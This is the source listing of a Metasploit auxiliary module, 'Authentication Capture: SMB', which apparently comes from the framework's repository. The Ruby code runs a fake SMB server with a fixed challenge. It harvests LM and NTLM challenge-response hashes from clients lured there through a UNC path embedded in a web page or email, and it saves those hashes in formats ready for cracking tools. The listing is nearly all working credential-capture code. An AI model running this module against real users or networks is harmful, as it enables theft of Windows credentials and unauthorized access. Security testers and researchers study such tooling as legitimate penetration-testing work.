root / modules / auxiliary / server / capture / smb.rb @ master
History | View | Annotate | Download (21.9 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Auxiliary |
| 17 |
|
| 18 |
include Msf::Auxiliary::Report |
| 19 |
include Msf::Exploit::Remote::SMBServer |
| 20 |
|
| 21 |
def initialize |
| 22 |
super(
|
| 23 |
'Name' => 'Authentication Capture: SMB', |
| 24 |
'Version' => '$Revision$', |
| 25 |
'Description' => %q{ |
| 26 |
This module provides a SMB service that can be used to |
| 27 |
capture the challenge-response password hashes of SMB client |
| 28 |
systems. Responses sent by this service have by default the |
| 29 |
configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), |
| 30 |
allowing for easy cracking using Cain & Abel, L0phtcrack |
| 31 |
or John the ripper (with jumbo patch). |
| 32 |
|
| 33 |
To exploit this, the target system must try to authenticate |
| 34 |
to this module. The easiest way to force a SMB authentication attempt |
| 35 |
is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or |
| 36 |
email message. When the victim views the web page or email, their |
| 37 |
system will automatically connect to the server specified in the UNC |
| 38 |
share (the IP address of the system running this module) and attempt |
| 39 |
to authenticate. |
| 40 |
},
|
| 41 |
'Author' => 'hdm', |
| 42 |
'License' => MSF_LICENSE, |
| 43 |
'Actions' =>
|
| 44 |
[ |
| 45 |
[ 'Sniffer' ]
|
| 46 |
], |
| 47 |
'PassiveActions' =>
|
| 48 |
[ |
| 49 |
'Sniffer'
|
| 50 |
], |
| 51 |
'DefaultAction' => 'Sniffer' |
| 52 |
) |
| 53 |
|
| 54 |
register_options( |
| 55 |
[ |
| 56 |
#OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
| 57 |
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), |
| 58 |
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), |
| 59 |
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) |
| 60 |
], self.class )
|
| 61 |
|
| 62 |
register_advanced_options( |
| 63 |
[ |
| 64 |
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), |
| 65 |
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " + |
| 66 |
"When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), |
| 67 |
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " + |
| 68 |
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), |
| 69 |
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) |
| 70 |
], self.class)
|
| 71 |
|
| 72 |
end
|
| 73 |
|
| 74 |
def run |
| 75 |
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] |
| 76 |
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session'] |
| 77 |
@s_gss_neg = datastore['USE_GSS_NEGOCIATION'] |
| 78 |
@domain_name = datastore['DOMAIN_NAME'] |
| 79 |
|
| 80 |
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*') |
| 81 |
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ |
| 82 |
@challenge = [ datastore['CHALLENGE'] ].pack("H*") |
| 83 |
else
|
| 84 |
print_error("CHALLENGE syntax must match 1122334455667788")
|
| 85 |
return
|
| 86 |
end
|
| 87 |
|
| 88 |
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
|
| 89 |
@previous_lm_hash="none" |
| 90 |
@previous_ntlm_hash="none" |
| 91 |
exploit() |
| 92 |
end
|
| 93 |
|
| 94 |
def smb_cmd_dispatch(cmd, c, buff) |
| 95 |
smb = @state[c]
|
| 96 |
pkt = CONST::SMB_BASE_PKT.make_struct |
| 97 |
pkt.from_s(buff) |
| 98 |
#Record the IDs
|
| 99 |
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] |
| 100 |
smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] |
| 101 |
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] |
| 102 |
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 103 |
|
| 104 |
case cmd
|
| 105 |
when CONST::SMB_COM_NEGOTIATE |
| 106 |
#client set extended security negociation
|
| 107 |
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) |
| 108 |
smb_cmd_negotiate(c, buff, true)
|
| 109 |
else
|
| 110 |
smb_cmd_negotiate(c, buff, false)
|
| 111 |
end
|
| 112 |
when CONST::SMB_COM_SESSION_SETUP_ANDX |
| 113 |
|
| 114 |
wordcount = pkt['Payload']['SMB'].v['WordCount'] |
| 115 |
|
| 116 |
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
|
| 117 |
#This packet contains the lm/ntlm hashes
|
| 118 |
if wordcount == 0x0D |
| 119 |
smb_cmd_session_setup(c, buff, false)
|
| 120 |
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
|
| 121 |
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
|
| 122 |
elsif wordcount == 0x0C |
| 123 |
smb_cmd_session_setup(c, buff, true)
|
| 124 |
else
|
| 125 |
print_status("Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
| 126 |
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) |
| 127 |
end
|
| 128 |
|
| 129 |
|
| 130 |
when CONST::SMB_COM_TREE_CONNECT |
| 131 |
print_status("Denying tree connect from #{smb[:name]}")
|
| 132 |
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn) |
| 133 |
|
| 134 |
else
|
| 135 |
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
|
| 136 |
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn) |
| 137 |
end
|
| 138 |
end
|
| 139 |
|
| 140 |
|
| 141 |
def smb_cmd_negotiate(c, buff, c_esn) |
| 142 |
smb = @state[c]
|
| 143 |
pkt = CONST::SMB_NEG_PKT.make_struct |
| 144 |
pkt.from_s(buff) |
| 145 |
|
| 146 |
#Record the IDs
|
| 147 |
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] |
| 148 |
smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] |
| 149 |
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] |
| 150 |
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 151 |
|
| 152 |
|
| 153 |
group = ''
|
| 154 |
machine = smb[:nbsrc]
|
| 155 |
|
| 156 |
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) |
| 157 |
# print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")
|
| 158 |
|
| 159 |
dialect = |
| 160 |
dialects.index("NT LM 0.12") ||
|
| 161 |
dialects.length-1
|
| 162 |
|
| 163 |
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct |
| 164 |
smb_set_defaults(c, pkt) |
| 165 |
|
| 166 |
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) |
| 167 |
|
| 168 |
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE |
| 169 |
pkt['Payload']['SMB'].v['Flags1'] = 0x88 |
| 170 |
pkt['Payload']['SMB'].v['WordCount'] = 17 |
| 171 |
pkt['Payload'].v['Dialect'] = dialect |
| 172 |
pkt['Payload'].v['SecurityMode'] = 3 |
| 173 |
pkt['Payload'].v['MaxMPX'] = 2 |
| 174 |
pkt['Payload'].v['MaxVCS'] = 1 |
| 175 |
pkt['Payload'].v['MaxBuff'] = 4356 |
| 176 |
pkt['Payload'].v['MaxRaw'] = 65536 |
| 177 |
pkt['Payload'].v['SystemTimeLow'] = time_lo |
| 178 |
pkt['Payload'].v['SystemTimeHigh'] = time_hi |
| 179 |
pkt['Payload'].v['ServerTimeZone'] = 0x0 |
| 180 |
pkt['Payload'].v['SessionKey'] = 0 |
| 181 |
|
| 182 |
if c_esn && @s_smb_esn then |
| 183 |
pkt['Payload']['SMB'].v['Flags2'] = 0xc801 |
| 184 |
pkt['Payload'].v['Capabilities'] = 0x8000e3fd |
| 185 |
pkt['Payload'].v['KeyLength'] = 0 |
| 186 |
pkt['Payload'].v['Payload'] = @s_GUID |
| 187 |
|
| 188 |
if @s_gss_neg then |
| 189 |
pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp |
| 190 |
end
|
| 191 |
|
| 192 |
else
|
| 193 |
pkt['Payload']['SMB'].v['Flags2'] = 0xc001 |
| 194 |
pkt['Payload'].v['Capabilities'] = 0xe3fd |
| 195 |
pkt['Payload'].v['KeyLength'] = 8 |
| 196 |
pkt['Payload'].v['Payload'] = @challenge + |
| 197 |
Rex::Text.to_unicode(group) + "\x00\x00" + |
| 198 |
Rex::Text.to_unicode(machine) + "\x00\x00" |
| 199 |
end
|
| 200 |
|
| 201 |
c.put(pkt.to_s) |
| 202 |
end
|
| 203 |
|
| 204 |
def smb_cmd_session_setup(c, buff, esn) |
| 205 |
smb = @state[c]
|
| 206 |
|
| 207 |
#extended security has been negociated
|
| 208 |
if esn
|
| 209 |
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct |
| 210 |
pkt.from_s(buff) |
| 211 |
|
| 212 |
#Record the IDs
|
| 213 |
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] |
| 214 |
smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] |
| 215 |
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] |
| 216 |
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 217 |
securityblobLen = pkt['Payload'].v['SecurityBlobLen'] |
| 218 |
blob = pkt['Payload'].v['Payload'][0,securityblobLen] |
| 219 |
|
| 220 |
#detect if GSS is being used
|
| 221 |
if blob[0,7] == 'NTLMSSP' |
| 222 |
c_gss = false
|
| 223 |
else
|
| 224 |
c_gss = true
|
| 225 |
start = blob.index('NTLMSSP')
|
| 226 |
if start
|
| 227 |
blob.slice!(0,start)
|
| 228 |
else
|
| 229 |
print_status("Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]}, ignoring ...")
|
| 230 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 231 |
return
|
| 232 |
end
|
| 233 |
|
| 234 |
|
| 235 |
end
|
| 236 |
ntlm_message = NTLM_MESSAGE::parse(blob)
|
| 237 |
|
| 238 |
case ntlm_message
|
| 239 |
when NTLM_MESSAGE::Type1 |
| 240 |
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
|
| 241 |
|
| 242 |
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0) |
| 243 |
c_ntlm_esn = true
|
| 244 |
else
|
| 245 |
c_ntlm_esn = false
|
| 246 |
end
|
| 247 |
pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct |
| 248 |
pkt.from_s(buff) |
| 249 |
smb_set_defaults(c, pkt) |
| 250 |
|
| 251 |
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX |
| 252 |
pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED |
| 253 |
pkt['Payload']['SMB'].v['Flags1'] = 0x88 |
| 254 |
pkt['Payload']['SMB'].v['Flags2'] = 0xc807 |
| 255 |
pkt['Payload']['SMB'].v['WordCount'] = 4 |
| 256 |
pkt['Payload']['SMB'].v['UserID'] = 2050 |
| 257 |
pkt['Payload'].v['AndX'] = 0xFF |
| 258 |
pkt['Payload'].v['Reserved1'] = 0x00 |
| 259 |
pkt['Payload'].v['AndXOffset'] = 283 #ignored by client |
| 260 |
pkt['Payload'].v['Action'] = 0x0000 |
| 261 |
|
| 262 |
win_domain = Rex::Text.to_unicode(@domain_name.upcase) |
| 263 |
win_name = Rex::Text.to_unicode(@domain_name.upcase) |
| 264 |
dns_domain = Rex::Text.to_unicode(@domain_name.downcase) |
| 265 |
dns_name = Rex::Text.to_unicode(@domain_name.downcase) |
| 266 |
|
| 267 |
#create the ntlmssp_challenge security blob
|
| 268 |
if c_ntlm_esn && @s_ntlm_esn |
| 269 |
sb_flag = 0xe28a8215 # ntlm2 |
| 270 |
else
|
| 271 |
sb_flag = 0xe2828215 #no ntlm2 |
| 272 |
end
|
| 273 |
if c_gss
|
| 274 |
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
|
| 275 |
win_name, |
| 276 |
dns_domain, |
| 277 |
dns_name, |
| 278 |
@challenge,
|
| 279 |
sb_flag) |
| 280 |
else
|
| 281 |
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
|
| 282 |
win_name, |
| 283 |
dns_domain, |
| 284 |
dns_name, |
| 285 |
@challenge,
|
| 286 |
sb_flag) |
| 287 |
end
|
| 288 |
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length |
| 289 |
pkt['Payload'].v['Payload'] = securityblob |
| 290 |
|
| 291 |
|
| 292 |
c.put(pkt.to_s) |
| 293 |
|
| 294 |
when NTLM_MESSAGE::Type3 |
| 295 |
#we can process the hash and send a status_logon_failure response packet
|
| 296 |
|
| 297 |
# Record the remote multiplex ID
|
| 298 |
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 299 |
lm_len = ntlm_message.lm_response.length # Always 24
|
| 300 |
nt_len = ntlm_message.ntlm_response.length |
| 301 |
|
| 302 |
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session |
| 303 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
| 304 |
:lm_hash => ntlm_message.lm_response.unpack('H*')[0], |
| 305 |
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] |
| 306 |
} |
| 307 |
|
| 308 |
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 |
| 309 |
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 310 |
end
|
| 311 |
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
| 312 |
# a ntlmv2 response
|
| 313 |
elsif nt_len > 24 #lmv2/ntlmv2 |
| 314 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
| 315 |
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], |
| 316 |
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], |
| 317 |
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], |
| 318 |
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] |
| 319 |
} |
| 320 |
elsif nt_len == 0 |
| 321 |
print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
|
| 322 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 323 |
return
|
| 324 |
else
|
| 325 |
print_status("Unknown hash type from #{smb[:name]}, ignoring ...")
|
| 326 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 327 |
return
|
| 328 |
end
|
| 329 |
|
| 330 |
buff = pkt['Payload'].v['Payload'] |
| 331 |
buff.slice!(0,securityblobLen)
|
| 332 |
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } |
| 333 |
|
| 334 |
smb[:username] = ntlm_message.user
|
| 335 |
smb[:domain] = ntlm_message.domain
|
| 336 |
smb[:peer_os] = names[0] |
| 337 |
smb[:peer_lm] = names[1] |
| 338 |
|
| 339 |
begin
|
| 340 |
smb_get_hash(smb,arg,true)
|
| 341 |
rescue ::Exception => e |
| 342 |
print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
|
| 343 |
end
|
| 344 |
|
| 345 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 346 |
|
| 347 |
else
|
| 348 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 349 |
end
|
| 350 |
|
| 351 |
#if not we can get the hash and send a status_access_denied response packet
|
| 352 |
else
|
| 353 |
|
| 354 |
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct |
| 355 |
pkt.from_s(buff) |
| 356 |
|
| 357 |
# Record the IDs
|
| 358 |
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] |
| 359 |
smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] |
| 360 |
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] |
| 361 |
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 362 |
|
| 363 |
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24 |
| 364 |
nt_len = pkt['Payload'].v['PasswordLenNT'] |
| 365 |
|
| 366 |
|
| 367 |
if nt_len == 24 |
| 368 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
| 369 |
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0], |
| 370 |
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0] |
| 371 |
} |
| 372 |
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
| 373 |
# a ntlmv2 response
|
| 374 |
elsif nt_len > 24 |
| 375 |
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
| 376 |
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0], |
| 377 |
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0], |
| 378 |
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0], |
| 379 |
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0] |
| 380 |
} |
| 381 |
elsif nt_len == 0 |
| 382 |
print_status("Empty hash captured from #{smb[:name]} captured, ignoring ... ")
|
| 383 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 384 |
return
|
| 385 |
else
|
| 386 |
print_status("Unknown hash type capture from #{smb[:name]}, ignoring ...")
|
| 387 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 388 |
return
|
| 389 |
end
|
| 390 |
|
| 391 |
buff = pkt['Payload'].v['Payload'] |
| 392 |
buff.slice!(0, lm_len + nt_len)
|
| 393 |
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') } |
| 394 |
|
| 395 |
smb[:username] = names[0] |
| 396 |
smb[:domain] = names[1] |
| 397 |
smb[:peer_os] = names[2] |
| 398 |
smb[:peer_lm] = names[3] |
| 399 |
|
| 400 |
begin
|
| 401 |
smb_get_hash(smb,arg,false)
|
| 402 |
|
| 403 |
rescue ::Exception => e |
| 404 |
print_status("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
|
| 405 |
end
|
| 406 |
|
| 407 |
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true) |
| 408 |
|
| 409 |
end
|
| 410 |
end
|
| 411 |
|
| 412 |
def smb_get_hash(smb, arg = {}, esn=true) |
| 413 |
|
| 414 |
ntlm_ver = arg[:ntlm_ver]
|
| 415 |
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 416 |
lm_hash = arg[:lm_hash]
|
| 417 |
nt_hash = arg[:nt_hash]
|
| 418 |
else
|
| 419 |
lm_hash = arg[:lm_hash]
|
| 420 |
nt_hash = arg[:nt_hash]
|
| 421 |
lm_cli_challenge = arg[:lm_cli_challenge]
|
| 422 |
nt_cli_challenge = arg[:nt_cli_challenge]
|
| 423 |
end
|
| 424 |
|
| 425 |
# Clean up the data for loggging
|
| 426 |
if (smb[:username] == "") |
| 427 |
smb[:username] = nil |
| 428 |
end
|
| 429 |
|
| 430 |
if (smb[:domain] == "") |
| 431 |
smb[:domain] = nil |
| 432 |
end
|
| 433 |
|
| 434 |
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then |
| 435 |
|
| 436 |
@previous_lm_hash = lm_hash
|
| 437 |
@previous_ntlm_hash = nt_hash
|
| 438 |
|
| 439 |
# Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
|
| 440 |
case ntlm_ver
|
| 441 |
when NTLM_CONST::NTLM_V1_RESPONSE |
| 442 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 443 |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) |
| 444 |
print_status("NLMv1 Hash correspond to an empty password, ignoring ... ")
|
| 445 |
return
|
| 446 |
end
|
| 447 |
if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then |
| 448 |
lm_hash_message = "Disabled"
|
| 449 |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, |
| 450 |
:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) |
| 451 |
lm_hash_message = "Disabled (from empty password)"
|
| 452 |
else
|
| 453 |
lm_hash_message = lm_hash |
| 454 |
lm_chall_message = lm_cli_challenge |
| 455 |
end
|
| 456 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 457 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 458 |
:cli_challenge => [nt_cli_challenge].pack("H*"), |
| 459 |
:user => Rex::Text::to_ascii(smb[:username]), |
| 460 |
:domain => Rex::Text::to_ascii(smb[:domain]), |
| 461 |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) |
| 462 |
print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ")
|
| 463 |
return
|
| 464 |
end
|
| 465 |
if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 |
| 466 |
lm_hash_message = "Disabled"
|
| 467 |
lm_chall_message = 'Disabled'
|
| 468 |
elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, |
| 469 |
:cli_challenge => [lm_cli_challenge].pack("H*"), |
| 470 |
:user => Rex::Text::to_ascii(smb[:username]), |
| 471 |
:domain => Rex::Text::to_ascii(smb[:domain]), |
| 472 |
:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) |
| 473 |
lm_hash_message = "Disabled (from empty password)"
|
| 474 |
lm_chall_message = 'Disabled'
|
| 475 |
else
|
| 476 |
lm_hash_message = lm_hash |
| 477 |
lm_chall_message = lm_cli_challenge |
| 478 |
end
|
| 479 |
|
| 480 |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 481 |
if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, |
| 482 |
:cli_challenge => [lm_hash].pack("H*")[0,8], |
| 483 |
:ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) |
| 484 |
print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ")
|
| 485 |
return
|
| 486 |
end
|
| 487 |
lm_hash_message = lm_hash |
| 488 |
lm_chall_message = lm_cli_challenge |
| 489 |
end
|
| 490 |
|
| 491 |
|
| 492 |
# Display messages
|
| 493 |
if esn
|
| 494 |
smb[:username] = Rex::Text::to_ascii(smb[:username]) |
| 495 |
smb[:domain] = Rex::Text::to_ascii(smb[:domain]) if smb[:domain] |
| 496 |
end
|
| 497 |
|
| 498 |
capturedtime = Time.now.to_s
|
| 499 |
case ntlm_ver
|
| 500 |
when NTLM_CONST::NTLM_V1_RESPONSE |
| 501 |
smb_db_type_hash = "smb_netv1_hash"
|
| 502 |
capturelogmessage = |
| 503 |
"#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
|
| 504 |
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
| 505 |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
|
| 506 |
when NTLM_CONST::NTLM_V2_RESPONSE |
| 507 |
smb_db_type_hash = "smb_netv2_hash"
|
| 508 |
capturelogmessage = |
| 509 |
"#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
|
| 510 |
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
| 511 |
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
|
| 512 |
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
|
| 513 |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
| 514 |
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
|
| 515 |
when NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 516 |
#we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
|
| 517 |
#also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
|
| 518 |
smb_db_type_hash = "smb_netv1_hash"
|
| 519 |
capturelogmessage = |
| 520 |
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
|
| 521 |
"USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
| 522 |
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
|
| 523 |
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
|
| 524 |
|
| 525 |
else # should not happen |
| 526 |
return
|
| 527 |
end
|
| 528 |
|
| 529 |
print_status(capturelogmessage) |
| 530 |
|
| 531 |
# DB reporting
|
| 532 |
report_auth_info( |
| 533 |
:host => smb[:ip], |
| 534 |
:port => datastore['SRVPORT'], |
| 535 |
:sname => 'smb_challenge', |
| 536 |
:user => smb[:username], |
| 537 |
:pass => smb[:domain] + ":" + |
| 538 |
( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "00" * 24 ) + ":" + |
| 539 |
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "00" * 24 ) + ":" + |
| 540 |
datastore['CHALLENGE'].to_s,
|
| 541 |
:type => smb_db_type_hash,
|
| 542 |
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}", |
| 543 |
:source_type => "captured", |
| 544 |
:active => true |
| 545 |
) |
| 546 |
|
| 547 |
report_note( |
| 548 |
:host => smb[:ip], |
| 549 |
:type => "smb_peer_os", |
| 550 |
:data => smb[:peer_os] |
| 551 |
) if (smb[:peer_os] and smb[:peer_os].strip.length > 0) |
| 552 |
|
| 553 |
report_note( |
| 554 |
:host => smb[:ip], |
| 555 |
:type => "smb_peer_lm", |
| 556 |
:data => smb[:peer_lm] |
| 557 |
) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0) |
| 558 |
|
| 559 |
report_note( |
| 560 |
:host => smb[:ip], |
| 561 |
:type => "smb_domain", |
| 562 |
:data => smb[:domain] |
| 563 |
) if (smb[:domain] and smb[:domain].strip.length > 0) |
| 564 |
|
| 565 |
|
| 566 |
#if(datastore['LOGFILE'])
|
| 567 |
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
| 568 |
#end
|
| 569 |
|
| 570 |
if(datastore['CAINPWFILE'] and smb[:username]) |
| 571 |
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE |
| 572 |
fd = File.open(datastore['CAINPWFILE'], "ab") |
| 573 |
fd.puts( |
| 574 |
[ |
| 575 |
smb[:username],
|
| 576 |
smb[:domain] ? smb[:domain] : "NULL", |
| 577 |
@challenge.unpack("H*")[0], |
| 578 |
lm_hash ? lm_hash : "0" * 48, |
| 579 |
nt_hash ? nt_hash : "0" * 48 |
| 580 |
].join(":").gsub(/\n/, "\\n") |
| 581 |
) |
| 582 |
fd.close |
| 583 |
end
|
| 584 |
end
|
| 585 |
|
| 586 |
